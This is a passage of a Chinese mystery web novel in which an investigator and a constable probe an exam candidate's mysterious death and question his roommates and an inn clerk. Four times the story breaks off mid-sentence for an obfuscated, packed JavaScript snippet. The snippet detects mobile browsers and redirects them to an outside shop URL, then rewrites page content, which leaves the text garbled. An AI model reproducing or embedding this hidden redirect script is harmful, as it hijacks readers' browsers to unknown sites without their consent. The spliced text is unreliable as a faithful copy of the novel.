仵作道,“死者胃囊之中没有食物,至少六个时辰没有进食。” “饿晕了,头磕在墙上……”陆冰喃喃道,眼中冒出火星子,“贡院干什么吃的,竟然任由考生惨死在号舍。来人,备马,把提调官、监试官、搜检官、识认官、相邻号舍的考生,全部都给我抓出来。我要把整个考场筛一遍!” 三板斧挥动起来无人可当其锐。一刻钟后,叶青岚跟在陆冰身后走进了贡院。 说来稀奇,大萧建朝九十年,科考也办了二十余届,但叶青岚从未靠近过贡院。他于文墨之道粗疏得很,童年开蒙时认得几个字,从军时读过几本兵书,这就是他全部的学问了。 太阳已经落山,烛火印在未经粉刷的砖墙上,长长的巷道两边成千上万的号舍排列整齐,空气中弥漫着淡淡的臭气。考生在此考了一天一夜,吃喝拉撒都在狭小的号舍内进行,虽然清理过屎尿盆,臭气还是挥之不去。 巡检官将他们带到玄字四号,陈思贤考试的地方。只见两块号板拼成简陋的桌面,上面有笔墨砚和半截熄灭的蜡烛。地上有个食篮,放着两只红糖馒头和四张烤饼,皆未动过。蜡烛移近砖墙,可以看到一处血迹,高度与坐着的人的后脑齐平。 叶青岚凑过去闻了闻,没闻出血腥气,即便有,也被臭味盖住了。 陆冰鹰一般的目光掠过小小的号舍,恨不得把每块砖都挖出来看一遍。 “怎么一张纸都看不到?” “禀陆捕头,科考严禁夹带小抄、书籍,入场时搜检官会查验衣物、鞋袜、头发、考篮……” “我说的陈思贤的考卷!” “受卷官收走了。” “他人都死了!收他卷子有什么用?盼着他高中吗?拿来给我!” “是,小人这就进去调阅。” “你在考场巡逻时,可有注意到什么异常?” “考生一直埋头作答,未见异常。” “陈思贤一天未曾进食,别人进食时他在做什么?” “这……小人不太清楚。中午时分,五号的考生吃坏了肚子,上吐下泻,臭气熏天,三号的考生突然嚎哭,状似疯癫,惊动了许多人。小人忙着训斥他,就没顾得上看四号的考生。” 陆冰瞠目结舌,“上吐下泻,高声嚎哭,这叫没有异常?!” “禀陆捕头,这在考场是常事。号舍环境简陋,考生十年寒窗苦读在此一搏,精神极度紧张,重压之下每届都有当场病倒、昏倒、甚至疯癫的,像陈思贤这样死在号舍的,也非孤例,上一届就有。” “三号和五号的考生在哪里?” “都送医了。” 叶青岚低低吁了口气,想不到科举之路如此危险,堪比上阵打仗了。春寒料峭,这三间狭小的号舍似乎特别阴寒,有股不详之气徘徊不去。 “只要还有一口气,都给本捕头押过来。” “陆捕头,这恐怕不妥,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255591|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们都有功名在身……” “那就给我‘请’过来。” 巡检官在他狠厉的目光下打了个哆嗦,小跑着去了。 陆冰又在号舍待了好一会儿,这儿摸摸,那儿敲敲,实在找不出什么了,才吩咐叶青岚带走食篮,回去给仵作验验。 一名差役跑来,“陆捕头,陆大人叫您过去呢。” 陆冰身子一僵。他父亲刑部侍郎陆校任本次科考监临官,负责考场内外秩序,号舍内死了人,他自然要过问。 叶青岚上次见到陆校还是在提刑司门口,他当众抽了儿子数十鞭,抽得陆冰整个后背鲜血淋漓。他走后,陆冰像没事人一样披衣站起,继续抓捕嫌疑人。父子俩都是狠人。 贡院门口的道路已经封了,叶青岚白天摆摊的地方被清空,搭了一顶大帐篷。陆校坐在帐中,没拿鞭子,不怒自威。 陆冰上前行礼。昏暗烛光下,父子俩的鹰钩鼻像是一个模子里刻出来的。 “考生死于号舍不是小事,提刑司查案要多留个心眼,切忌闹得人仰马翻。” “是。” “举子一旦考中就是天子门生,如无实证不要惊动。” 陆冰抬起头。方才那巡检官缩头缩脑地站在角落,见他瞪过来,还往陆校身后躲了躲。 “父亲,查案归查案,审问一两个人又不会伤了礼部主考官的面子。” “放肆!你一个小小捕头,若非为父的面子,这里哪有你说话的份?” 陆冰梗着脖子,并不服气。 陆校沉下脸,“考场执事官都给你找来了。有话就在这儿问。” 科考事关重大,又牵连朝廷各部,陆校坚持旁听,显然是怕儿子说错话。 然而陆冰一副天不怕地不怕的样子。 “识认官何在?” 一名矮个吏员上前行礼。 “陈思贤进入考场时,可有异常?” 那人清了清嗓子,“禀陆捕头,考生入场须出具担保人签字画押的保结,由识认官高声宣读姓名、籍贯,根据画像比对身高、面容、口音。该生凭证齐全,样貌相符,也未搜出夹带可疑物品,验明正身后便放他入场了。” “我是问他的身体状态可有异常?” “该生脸色铁青,手脚冰凉,微微发抖,都是参加科考时的正常状态。” 陆冰无奈,“那他的头发呢?不到三十的人满头白发入场,你们就没多问几句?” “他入场时是黑发啊。” 陆冰一怔,“你说什么?!” “小人绝不会记错的。考生入场是在卯时,天光已大亮。再说该生的画像上也是黑发呀。” 叶青岚不禁打个寒战。陈思贤竟是在考场之内一日白头。在那狭小逼仄的号舍内,他到底经历了什么? “巡检官!你在考场内巡逻,陈思贤的头发是何时变白的?” 巡检官臊眉耷眼地从陆校身后走出来,“考生众多,小人确实没有注意到。是收卷官喊了起来,大伙才发现有人死了。” 23. 第 23 章 “收卷官呢?” 一名粗手大脚的吏员走出来,“小人收卷收到玄字四号,发现该生合扑在试卷上,白发散在肩头,怎么喊都不起来。强行拉起来一看,双眼紧闭,已然气绝。” “他脑后有没有伤口?” 那人双眼望天,竭力回想,“似乎是有的……” 陆冰吼道,“到底有没有?” “够了!”陆校喝道,“考场内吏员众多,各司其职,这么多双眼睛盯着,还能弄鬼不成?“ 陆冰烦躁地来回踱步,“会不会是左右号舍的考生偷偷溜出来,将他殴打致死?” 好几个人同时答道,“不可能!” “号舍没有门板,一举一动全暴露在巡检官眼中。” “若有人出号舍,对面的人一定会注意到。” “考场绝不可能带入凶器,任何尖锐之物都会被搜检官没收。” 陆冰瞪着眼睛,看起来甚是憋屈,“他怎么能就这么死了……” 叶青岚忽感奇怪,陆冰为何对陈思贤如此关心?难道两人是好友故交?不对啊,他上一案中还狠狠抽人家鞭子呢。 陆校沉吟片刻,“如此看来,该生是在重压之下,殚精竭虑,以至一日白头,忧郁而死。其情可悯,然其所为不足为训。” “待我问过三号和五号的考生后……” “不必问了,结案吧。” 陆校的语气不容置疑,站起身便走出帐篷,没多看儿子一眼。身后众人都如释重负,齐声道,“恭送陆大人。” 陆冰站在原地没动。烛光下,叶青岚分明看到他暗暗握紧了拳头。 陈思贤生前居住的会馆就建在太学对面,离贡院只隔了三条街。 考试结束,会馆内外一片欢腾。离放榜还有十几日,届时鱼跃龙门、名落孙山,几家欢喜几家愁,但今夜大可纵情畅怀,疏解十年寒窗的辛苦。 叶青岚在会馆门外溜达一圈,遇到三个醉酒呕吐的,两个引吭高歌的,还有一个当街搂着女子求欢的。同科举子暴毙于号舍,于他们而言不过是一则奇闻轶事,恰似耳畔清风,风过无痕。 回想陈思贤生前种种:深受情伤,倾家荡产,下毒未遂,爬楼坠湖……似乎没一件事顺遂。求爱固然不成,连坏事也做不成。难道他也得罪了老天,被诅咒了?若说是他杀,害死这么一个可怜虫,又能得到什么好处? 门口的知客看起来已喝了不少,靠在柜台边,摇头晃脑吟一首酸诗,“无边风月惹人怜……” 叶青岚敲敲柜台,“借问,陈思贤陈公子住在哪间房?” 知客睁着迷离的眼上下打量他一番,大着舌头道,“这儿有好几个陈公子呢,让我想一想。” 叶青岚冷冰冰道,“今日死在考场那个。” 知客一个激灵,酒醒了几分,“那个陈思贤呀,提刑司的差爷刚刚来问过。他与郑录郑公子、许观许公子合住在井字一号房。” 叶青岚回想起陈思贤在山道上所说的话,“……我痛苦得吃不下饭,幸得郑兄、许兄两位兄台高义,一直在照料我,还拿银子出来接济我……” “这两位人在何处?是不是已被提刑司抓去了?” 知客目光游移,“没呢。这不还坐在那儿喝酒么?” 叶青岚顺着他的目光看去,只见天井之中有一张圆桌,两个书生相对而坐。会馆内灯烛明亮,照出东首那人皮肤黝黑,西首那人皮肤雪白,恰如围棋的黑白子,倒也相映成趣。 过了一会儿,黑脸人端起酒杯,洒在地上。白脸人抬袖抹了抹眼泪。 叶青岚走过去,“人死不能复生,两位节哀顺变。” 两人同时一惊,“这位兄台是?” “在下叶青岚,浮世一闲人,曾于陈思贤陈兄有过一面之缘。” 黑脸人迟疑,“未曾听思贤提起……” 叶青岚大剌剌地坐下来,“不瞒两位说,数月前小弟突遭变故,家财散尽,陈兄在滴翠湖畔于我有一饭之恩。” 二人一听滴翠湖,顿时了然,这姓叶的定是陈思贤在欢场认识的酒友。 叶青岚怅然道,“陈兄为人高风亮节,施恩不图报。小弟如今境遇好转,今日路过贡院时突闻噩耗,实在不敢相信,故来此求证。” 那黑脸人重重叹了口气,“在下郑录,这位是许观许兄,我们与思贤是同乡,一起上的县学,一起中的举,情同手足,他就这样撒手人寰,我二人如闻晴天霹雳,悲痛不能自己。” 那白脸的许观道,“明明同去考场的时候还好好的,怎么会突然暴毙,而且……” 他说到这里,突然哽住。 叶青岚盯着他,“许兄觉得事有蹊跷?” 许观别过头,举袖拭泪。 郑录又倒了满满一杯酒,洒在地上,“思贤进京以来先历情劫,后遭刑狱,受尽了痛苦折磨,想是如今功德圆满,脱离尘世之苦,登仙去了。” “哦?”叶青岚来了兴致,“郑兄相信幽冥之事?” 郑、许二人对视一眼,欲言又止。 “不瞒二位,小弟对怪力乱神之说一向深信不疑。” 许观突然打了个哆嗦,“只怕不是接引登仙,而冤魂索命哪。” 叶青岚双眼放光,斟满一杯酒,推到许观面前,“愿闻其详。” 第二日 一只无头苍蝇在耳边嗡嗡乱飞。一会儿钻进床底,一会儿绕过被褥,在榻上来回打转。 榻上的气味确实难闻,昨晚残留的酒气、呕吐物的秽气再加上嘴里发出的酸臭气,对这苍蝇来说,堪比一场盛宴。 因此它兴奋不已,迟迟不肯离去。 叶青岚狠狠瞪视着它。之所以没能挥手赶开,全是因为上半身被郑录和许观压得死死的。 郑录的右手横过来搁在他胸口,黝黑的手背上长着几撮毛。许观的左腿斜过来压在他肚子上,白皙的脚腕露在外面。 一个仰面躺着,嘴张得老大,鼾声如雷。一个半张脸埋在臂弯里,睡得像个婴儿。 叶青岚扭动一下,试图摆脱束缚,不料郑录翻了个身,把左手也甩了上来,成了个搂抱的姿势。 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255592|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青岚叹了口气。他不是没有与男人同床共寝过,只是,这二位的心也未免太大了。 他听了半晚的鬼故事,吓得一夜没睡好觉,那两个说故事的,倒睡得像死猪一样,敢情是把心中的惊惧都发泄完了,连同乡暴毙的惨事也抛到脑后了。 这间井字一号房是会馆最便宜的房间,装帧简单,地方不大,放了四张桌子,一个大通铺,就挤得满满当当了。陈思贤生前和郑录、许观同住此处,想必也是同榻而眠。 不知他睡在左边、右边,还是中间? 砰地一声,大门被人踢开,一队提刑司的差役鱼贯而入。 叶青岚一眼就认出领头的那个大胡子。上一案抓人、拷打、抄家时,他可出过不少力。大胡子看了一眼床榻,瞪大眼睛,喝道,“哪个是郑录?哪个是许观?” 叶青岚挤眉弄眼,“就是我身旁这两位。” 差役一伸手将郑、许二人提了起来。两人从宿醉中惊醒,皆是睡眼惺忪,一脸呆滞。 叶青岚揉着麻木的胸口,“差爷找我两位兄弟何事?” “你是谁?” “在下叶青岚,浮世一闲人。” 郑录转头看到叶青岚,惊得跳起来,“你是谁?何时进来的?” 叶青岚作受伤状,“郑公子怎么忘了?昨晚我们三人彻夜喝酒谈心,甚是投缘,已结为异姓兄弟。” 许观惊愕,“有这样的事?” 郑录道,“我怎么全不记得了。” 三个人看过来看过去,看得那差役不耐烦了,“郑公子、许公子,我们陆捕头有请。” 郑录惶恐道,“昨晚已问过话了,为何又来传唤?” “陆捕头言道,两位和此案有重大干系。” 叶青岚伸出双手各拽住一条胳膊,“我与两位义兄有福同享,有难同当,有案子一同审,有鞭子一起挨。烦请差爷把我也带去吧!” 差役大奇。提刑司所到之处人人避之不及,上赶着被抓的还是头一个。 “穿好衣服,赶紧走吧。” 审讯室里,郑录在左,许观在右,叶青岚跪在中间。 陆冰放下厚厚一沓卷宗,阴沉的目光掠过三人,眉毛微微扬起,“差役说你们三人衣衫不整,睡在一张床上?” 叶青岚未及开口,郑录与许观争先恐后道,“陆捕头明鉴,我们昨晚喝了太多的酒,发生什么事都不记得了。” 叶青岚幽幽道,“两位放心,你们并没有占到叶某的便宜。” 郑、许二人见到他的神情,皆是一怔,默契地往两边挪开几寸。 陆冰问,“你们三人为何同饮?” “实不相瞒,小人曾受过陈公子一饭之恩,听闻噩耗,便去会馆求证,正好遇上郑兄和许兄在为故友洒泪。小人上前攀谈,竟听到一件不得了的事。” 他说到这里,故意停了下来。 “何事?” “还是让郑兄和许兄自己说吧。 ” 郑、许二人隔着他面面相觑。郑录清了清嗓子,“多半是酒后之言,不可当真。” 24. 第 24 章 陆冰突然一拍惊堂木,“老实交代,陈思贤之死,和你们有没有干系?” 二人都吓了一跳,“陆捕头何出此言?” “考试前一天,陈思贤一直和你们在一起?” 许观道,“是。我们晨起温书到酉时,出去喝了一顿酒,回来就歇息了。次日一起去的考场。” “他进考场时还是好好的?” “并无异常,只是有些紧张。陆捕头,这些昨日都问过了呀。” “那本捕头问些别的。”陆冰伸出两根指头,敲打卷宗,“乔陵县有位老秀才,名叫苏文,你们可认得?” 一听这名字,许观的白脸顿时煞白,郑录的黑脸却变得更黑了。 “认……认得。” “十八年前,他死时的情状,你们可记得?” 郑录道,“记得。满头白发,从考场里抬出来的。” 许观嘴唇颤抖,“和思贤的死法一模一样。” 陆冰身子前倾,眼神锐利,“如此巧合,你们昨日为何没交代?” 郑录道,“怪力乱神之事,不宜多言。” 叶青岚适时补刀,“他们两个深信陈思贤是被白发书生冤魂索命,却故意隐瞒不报,只因不相信陆捕头一介凡人,能干预鬼神之事。” 陆冰一身反骨,最受不得激,叶青岚故意如此说,本以为他会勃然大怒,不料他听了这话,反而沉下脸来,眉毛微微颤动,“本捕头不久前正好调阅过苏文案的卷宗。” 叶青岚道,“哦?这么巧?” “我命人比对了苏文当年所写的残卷和陈思贤昨日的试卷,两篇文章内容一字不差,连笔迹都一模一样。” 审讯室里似乎有一股阴风刮过。人人都起了一身鸡皮疙瘩。 许观惊呼,“真的是冤魂索命!” 郑录一个劲地摇头,“胡说,苏秀才为什么要害思贤?思贤又没有得罪过他。” 许观连珠炮似的说,“他生前屡试不第,做了鬼后怨念难消,便附身举子参加会试。陆捕头有所不知,我们三人中举之前,本县已经十几年无人考中了,他必是在我们三人中挑了一个。” “那为什么是思贤……” 许观踟蹰不语。叶青岚插嘴,“大概……他特别倒霉?” 陆冰双眼发直,盯着卷宗,好像是真的吓到了。 叶青岚朗声道,“陆捕头,鬼神之说宁可信其有,不可信其无。事隔十八年,乔陵县两代书生一日白头,陈尸考场,连所作的考卷都一模一样。这绝不会是有人装神弄鬼,把陆捕头当成傻子耍。” 一语惊醒梦中人。陆冰猛地抬头,凝思半晌,又回复平日的强悍之色。 “本捕头从不信怪力乱神。” 叶青岚深感欣慰,“陆捕头果然胆色过人!我大萧有陆捕头这样的朝廷栋梁,实是社稷之幸,百姓之福。” “收起你的马屁。你们俩,说说吧,陈思贤进京后跟谁接触过,是否有过矛盾争执,考前去过哪些地方,有什么异常举动,哪怕是细枝末节的小事,都给我交代清楚。” 叶青岚说得兴起,一时刹不住嘴,“我知道!他和一个叫照夜妃的青楼女子有三生三世的情缘纠葛,后来那女子吊死了,陈思贤还被提刑司抓了去……” 陆冰一心审问郑、许,偏偏这姓叶的在边上啰嗦不休,烦不胜烦,没等他说完,就喊道,“来啊,把这人的嘴堵起来!” 两名差役过来,一人反绑住他双手,另一人将一块臭烘烘的抹布塞进他嘴里。 叶青岚被臭味熏得直翻白眼,余下的话便说不出来了。 “郑录,你先说。” 郑录鬼鬼祟祟地向旁边瞄了一眼,“思贤性格温吞,平日里时常被人欺负。若说最近和谁有矛盾,那便是……许兄了。” 许观瞪大眼睛,“什么?!” “咳咳,那日我打水回来,听到你们在房中争执,你扯着嗓子骂他有送礼的门路却不告诉你,忘恩负义,过河拆桥,小人一个。他唯唯诺诺,并不辩驳。” 许观的脸腾地一下红了,“那是一时气话,况且这又算得什么矛盾……” 陆冰问,“陈思贤向谁送礼没告诉你?” 许观很是尴尬,“禀大人,会馆中时常流传一些应考的,呃,旁门左道,据说有个叫槐下客的人,预测考题十分灵验。陈思贤不知从哪里打听到了,巴巴地跑去送礼,碰巧被我发现了。我们是同乡同届中举,理应同进退,他撇下我独自去送礼,这不是藏私嘛!想当初他被那花魁骗得身无分文之时,还是我出银子帮他度过难关呢。我虽不图他回报,他也不能忘恩负义啊。” “那他后来带你去见槐下客了吗?” “没有。他说那地方门槛高得很,要见槐下客,起码准备一百两银子。我们三个加在一起也拿不出那么多钱,只好作罢了。” 郑录清了清嗓子,“你可不是这么跟我说的。你说陈思贤收到一个包裹,里面装满了黄金,起码有一百两。” 叶青岚猛地扭头,差点伤到脖子。一百两黄金,折合成银子就是一千两。那可是一笔巨款。 许观气恼,“郑兄,你在大人面前扯这些做什么?难道你怀疑是我害了思贤?” “我可没这么说。大人问谁和思贤有过节,我便如实禀告。” 陆冰问,“谁给了陈思贤装满黄金的包裹?” 许观道,“小人也不认识。当时小人出门买笔墨,经过一处小巷子,看到陈思贤从一个陌生男子手里接过包裹,还打开数了数。日头底下,黄金灿然生辉,差点把小人的眼睛晃瞎了。陈思贤把包裹抱在怀里,还向那人拱手道谢呢。等我回了会馆,当面问他,他却赖得一干二净,说根本没有这么一回事。” 陆冰皱眉,“莫非钱的来路不能摆到明面上?” “我也是这样想啊。可他明明有了钱,平日里吃穿还要花我的钱。这不是拿我当冤大头嘛!” 郑录道,“或许思贤另有难处。许兄,他瘦成那个样子,吃能吃掉多少,你就别计较了。” “不是钱多钱少的事。与朋友交,言而有信。我拿一颗真心待他,他却屡次欺瞒,能不叫人心寒吗?” “他进京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255593|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以来吃尽了苦头,即便言行有些不妥之处,我们也该包容些。” “你说得好听。是谁为了话本和他大吵一架?是谁扬言要让他再也回不了乔陵县?” 许观说得激动,喷得叶青岚半张脸都是唾沫星子。 陆冰霍地站起,“什么话本?说清楚!” “禀陆捕头,陈思贤不知从何处得到一本话本,名叫《陈侍郎窃玉偷香记》。讲的都是一些男女香艳之事。他看得入迷,把自己代入那话本中的陈侍郎,说自己和一个青楼女子有三生三世的情缘。后来话本不见了,那女子也吊死了,结案后他哀痛欲绝,连哭了好几天……” “话本怎会不见了?” “不知道啊,翻遍了会馆也没找到,恐怕是遗落在青楼,被人捡走了。思贤说,话本上的一字一句他全都记在心里了,要回乡让戏班子排成戏,四处传唱。郑兄一听就勃然大怒,和他大吵一架。” 郑录道,“我能不生气吗?他就是看那下流低俗的话本看得中了邪,才会搭上青楼女子,弄得人不像人,鬼不像鬼,家财散尽,险些连命都丢了。科考当前,他竟还执迷不悟,满脑子男女情事。如此心志不坚,将来如何堪当大任?” “那你也不必威胁他吧。” “我何时威胁他了?” “会馆里众人可都听到了,你说若他敢将那话本子排成戏,就让他终身回不了乔陵。” “我那是气话呀!许观,你不为思贤的前途着想,反而在大人面前东拉西扯地攀诬我,是不是别有用心?你听说他去送礼,不但不规劝,反而怪他不带你去!他误入歧途,焉知没有你的功劳?!” 叶青岚左脸也被喷满了唾沫星子。 他实在受不了了,口中呜呜作声,想引起陆冰的注意。 陆冰根本不理他,只盯着郑、许二人,“那话本你们有没有看过?” 二人异口同声,“没有,我们一心只读圣贤书,不看那等低俗之物。” 陆冰脸色凝重,踱来踱去,似乎有什么事难以决断。 叶青岚一个箭步冲到陆冰眼前,摇头晃脑。 陆冰吓了一跳,“你干什么?造反啦?” “呜呜……” 陆冰一把扯掉他嘴里的脏布。 “呸呸呸,陆捕头,杀害陈思贤的凶手,就在郑、许二人之中!” 两人都叫起来,“叶兄,我们与你素不相识,何故见疑?” 叶青岚龇牙咧嘴,“陈兄尸骨未寒,你们就这样相互撕咬,可见人品低劣,同乡之情名存实亡啊!” 这是诛心之论,那两人一时倒也难以反驳。 “何况,你们昨晚与我共饮之时,可是另一副嘴脸。” 那两人犹如丈二和尚摸不着头脑。昨晚?昨晚没见过这个姓叶的呀。 陆冰道,“许观、郑录,你们有功名在身,就不留你们住大牢了,回会馆好好待着,我会派人看顾你们的。” 叶青岚谄媚道,“陆捕头英明!” 陆冰冷冷地看向他,“你一味捣乱,也很可疑,和他们一块待着吧。” 25. 第 25 章 第三日 叶青岚向来不怕得罪人。反正别人转眼就忘了。 按常理来说,查案应当谨慎行事,小心推断,不可诬赖好人,乱泼脏水。不过自从见识了提刑司三板斧的威势后,他也看得开了。堂堂京城总缉捕的办案风格都如此粗犷,他一介闲人,还顾忌什么? 把嫌疑人都诈一遍,说不定凶手就自己浮出水面了。 不巧的是,昨日回到会馆时还没过子时。郑、许二人对他在审讯室的胡乱攀诬记忆犹新,当着他的面狠狠摔上了井字一号房的房门,说什么都不肯开。 提刑司的差役奉陆冰之命在会馆门口守着,不准他离开。叶青岚无奈之下,只得斥巨资另开一间房。 贡院门口摆摊卖凉茶赚来的铜板还没捂热,就十去其七。 从前阿炎总是嘲笑他与财神无缘,攒不下钱,确是金玉良言啊。 熬到天明,叶青岚大摇大摆地走下楼,先祭五脏庙。 薄皮虾仁馅的小馄饨浸在猪油清汤里,佐以葱花和蛋皮,香飘里许。叶青岚把头埋进碗里,毫不客气地一扫而空。 “登科,再来一碗!” 登科是会馆的知客,名字吉祥得很,前天晚上正是他把郑录和许观指给叶青岚的。 他掀起眼皮,“公子,这都第三碗了,您还没饱么?” “这碗是请你吃的。” 叶青岚摸出几个铜板,码在桌上。 登科身为京城会馆的知客,见的都是大世面,哪里瞧得起一碗馄饨。 “免了。放榜后老爷们打赏,一出手就是十吊钱,公子爷这几个铜板,还是留着喝汤吧。若不是这几日清闲,本馆还没有叫餐业务呢。” 叶青岚受了一顿奚落,也不生气,一枚一枚把铜板收回去。 “登科,听你口音像南方人啊,来京城多久了?” “回公子爷,鄙人是土生土长的京城人。” “登科是个好名字,谁给你起的?” “我自己起的。” “当了几年知客啊?” “这会馆建了几年,我就当了几年。” 连发三问,俱被对方气势压倒。 登科收起空碗,昂首道,“公子爷还有什么问题?” “你送走了那么多届举子,见过几个死在考场里的?” 登科坏笑,“公子爷若想打听这个,那就说来话长了。” 叶青岚掏出钱袋子,摸出一锭银子,看了看他的表情,又放回去,把整只钱袋子都塞到他手里,“来壶陈年花雕,再来一只醉鸡。” 三杯黄酒下肚,登科便换了一副面孔,和颜悦色,知无不言。 “吵得可凶了!楼上楼下都出来围观,有劝的,有骂的。郑公子皮肤黑还看不大出来,陈公子可是整张脸都气红了,一激动,还哭了出来。” “就为了一本话本?” “可不是嘛。陈公子说郑公子偷了他的话本,身为读书人竟然行盗窃之举,斯文扫地。郑公子当然不认啦,反过来说陈公子被鬼迷了心窍。” 叶青岚奇道,“那话本不是丢了,是被偷了?” 登科道,“反正他是这么嚷嚷的。我还上楼帮着他们找过呢。井字房就那么一点大,包袱被褥都翻了个遍,衣服都脱下来看过了,确实没有。陈公子不死心啊,说要回乡把那出话本排成戏,纪念那个死掉的青楼女子。郑公子当时就火了。起初两个人用官话对骂,后来变成他们家乡土话,我就听不明白了。” “许公子也在场?” “在场,他倒没那么激动,一个劲地在旁边劝和。” “那依你看,他们三人谁脾气最大?” 登科抿了口酒,“当然是郑公子啦,动不动就发火,像个黑脸的包公。许公子斯斯文文的。陈公子么,是个受气包,天生一副倒霉相,所以才被冤魂索了命去。” 叶青岚一惊,“你也知道冤魂?” “这会馆内外哪有我不知道的事?陈公子是被他同乡一个老秀才索了命去的,那人考了一辈子都没考中,也是满头白发死在考场的!” 消息传得还真快。 登科压低声音,“你想,那老秀才为什么单单选中了他?” 叶青岚摆出一副求知若渴的样子。 “他纵欲无度,把自己的身子掏空了,阳气不足,阴邪入体,才被老秀才上了身。”他捏起一只鸡腿,咬下一大口,“所以人呐,还是要注意节制。郑公子骂他,骂得有理,就连柳十七……” 他突然噤声。 “柳十七?” “呃……没什么。” 叶青岚飞快地回忆,“是不是有个人绰号柳十七郎,年纪轻轻,唇红齿白,和陈思贤一起逛过青楼。” 登科大奇,“咦,你也认得柳公子?” “当时醉春风的案子闹得那么大,提刑司一批一批拿人,想不知道都难。” 登科一拍桌子,“可说呢!这些逛青楼的委实不要脸,柳公子那天路过会馆门口,见了陈公子就破口大骂,说他下流无耻,有辱斯文,提刑司应该把他抓了去。” 叶青岚想起陆冰当初奚落柳十七郎的话,“柳公子一句话,陆某这就去令尊礼部员外郎府上磕头赔罪,顺便把柳公子的赠妓十七首艳词好好宣扬一番。” 一个写过赠妓十七首艳词的人,竟然骂陈思贤下流。真是稀奇。 “陈公子骂回去了吗?” “没有,他面红耳赤地走开了,所以我说他是受气包嘛。” “郑、许二人也没出来帮他说话?” “瞧你说的,这三人又不是时时刻刻黏在一起。” “我还以为他们亲如兄弟呢。” “是亲如兄弟,考前一晚还勾肩搭背回来的。” “可你方才还说他们吵得很凶?” 登科放下酒杯,“你这位公子爷真是有点不食人间烟火。谁家兄弟俩不吵架?” 叶青岚望着屋顶出了一会儿神,喃喃道,“我和我兄弟就不吵架。” “那是你们生活顺遂,没有难处。” 叶青岚微笑摇头,陷入回忆。 他和阿炎遇到过的难处,三天三夜都说不完。 登科把鸡骨头吮得嘬嘬响,“公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255594|197985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷还有什么想问的?” “有。除了郑、许二人,陈思贤在京城还和谁有来往?” 登科想了想,“有一天傍晚,好像就是柳公子当街骂人的前一天,我正在柜台后面打盹呢,突然听见一声惊叫。我一看,陈思贤站在门口那棵大柳树下,很兴奋地说,我刚才遇见两个故人,你猜是谁?那陌生人答了句什么话,我没听清。他的脸被大树挡住了,我正想出去看个明白,陈公子却拉着他走了。” 叶青岚皱起眉头,“那陌生人手里拿没拿金子?” “看不清。” “好吧。最后一个问题,槐下客是谁?” 一听这话,登科竟咯咯笑起来,“你如今才问,已经晚了,下一届请赶早。” “怎么说?” “欲上金榜,先拜槐王。槐王有经天纬地之才,再平庸的书生,只要经他点拨必能考中。只不过他老人家淡泊名利,轻易不见外人。” “要怎样才能见到?” 登科的目光在他身上溜了一圈,“凡事讲究天时地利人和。我不是说了嘛,科考已经结束,缺了天时,不必白费功夫了。” “我虽缺了天时,却占了人和。” “人和?” 叶青岚嘻嘻笑着揽过他的肩头,突然三指抵在他咽喉,猛一用力。 登科脖子剧痛,呼吸顿时受阻。 “啊!” “别喊。”叶青岚厉声道,“否则就把你的喉骨捏断。” 登科吓得魂飞魄散,万万没想到这风度翩翩的公子爷会突下杀手,“你你你这是做什么?有话好说。别惹外面的差爷动怒。” “好胆色,死到临头还指望差爷救命呢。实话告诉你,爷是个打家劫舍的,最近缺钱花了,想请你们槐王帮个忙,调调头寸。” “那你自去找槐王,何苦为难我……” “你方才自己说的,会馆内外没有你不知道的事。” 登科哭道,“那是我一时嘴快。” “我看不见得。这位槐王做的是考生的生意,这考生聚集的会馆必有他的眼线。你天天在门口迎来送往,做眼线再合适不过了。” 登科浑身抖得厉害,“英雄饶命,我我我喘不过来气了……” “放心,你这身子骨比陈思贤硬朗多了,哪怕是冤魂要上你的身,也得费一番功夫。” 他亲切地贴到登科耳边,低声道,“把见槐王的门路说出来,否则现在就送你见阎王。” 登科嗫喏许久,报出一个店名,“祥……祥云巷,琅嬛阁。” 叶青岚道声多谢,一掌击在他脑后,登科无声无息地扑倒在桌上,看起来就像是醉倒了。 